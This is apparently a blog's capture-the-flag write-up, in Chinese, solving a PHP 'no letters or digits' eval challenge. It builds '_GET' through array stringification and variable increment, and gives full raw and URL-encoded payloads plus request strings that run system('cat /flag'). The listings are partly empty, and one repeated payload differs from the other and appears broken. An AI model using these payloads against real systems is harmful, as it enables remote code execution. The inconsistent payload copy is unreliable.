ez-rce
ez-rce
题目信息
- 题目名称: ez-rce
- 提示: 303跳转 你需要用bp抓包 参考RCE里的无字母数字
信息收集
通过抓包分析,在响应头中发现隐藏路径:
1 | <!-- /s3cret/rce.php --> |

访问该路径得到题目源码。
源码分析
1 |
|
代码功能分析:
- 接收
shell参数并执行eval() - 正则表达式过滤了所有字母数字和大部分特殊字符
- 只允许部分字符通过,包括
[]._;()+$
漏洞分析
- 过滤绕过原理
由于过滤了所有字母和数字,需要利用 PHP 的变量自增特性来构造可执行的代码。
PHP 变量自增原理:
1 | $a = []._; |
因为数字也被过滤,变量名可以用下划线替代,数组索引也可以用下划线替代:
1 | $_ = []._; |
- 构造 Payload
目标构造:$_GET[_]($_GET[__])
通过变量自增逐步构造:
$_=[]._得到 “Array_”$_=$_[_]得到 “A”- 通过
$_++自增得到 “B”、”C”、”D”、”E” - 继续自增构造其他字母
- 最终拼接出 “_GET” 字符串
完整 payload:
1 | $_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]); |
- URL 编码
由于中间件会解码一次,所以需要对 payload 进行 URL 全编码:
1 | %24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B |
利用步骤
- 构造 Payload
使用变量自增构造出 $_GET[_]($_GET[__]) 的等效代码:
1 | $_=[]._;$_=$_[_];$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]); |
- URL 全编码
对 payload 进行 URL 全编码,确保中间件解码后仍能正常执行:
1 | %24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B |
- 执行命令
构造完整的 URL,通过 shell 参数传递 payload,并使用 _ 和 __ 参数传递要执行的函数和参数:
1 | ?shell=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B&_=system&__=ls |
- 获取 Flag
将 __ 参数替换为读取 flag 的命令:
1 | ?shell=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B&_=system&__=cat%20/flag |
原理详解
- PHP 变量自增机制
PHP 中字符串可以像数组一样访问索引,当对字符串进行自增操作时,PHP 会按照字母表顺序递增:
1 | $a = "A"; |
- 数组字符串化
当数组与字符串连接时,数组会被转换为字符串 “Array”:
1 | $a = []; |
- 字符串索引访问
可以通过索引访问字符串中的字符:
1 | $str = "Array_"; |
- 下划线作为索引
由于数字被过滤,可以使用下划线作为数组索引,PHP 会将下划线转换为 0:
1 | $_ = "Array_"; |
总结
本题利用了 PHP 的变量自增特性和字符串操作机制,在过滤所有字母数字的情况下,通过构造特殊字符的 payload 实现了代码执行。关键在于理解 PHP 中数组字符串化、字符串索引访问以及变量自增的工作原理,并通过 URL 全编码绕过中间件的解码机制。
关键点
- 通过抓包发现隐藏路径
/s3cret/rce.php - 利用 PHP 数组字符串化特性获取 “Array” 字符串
- 通过变量自增构造字母
- 使用下划线替代数字作为数组索引
- 拼接构造出
_GET字符串 - 通过 URL 全编码绕过中间件解码
- 最终实现动态函数调用
$_GET[_]($_GET[__])
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 !


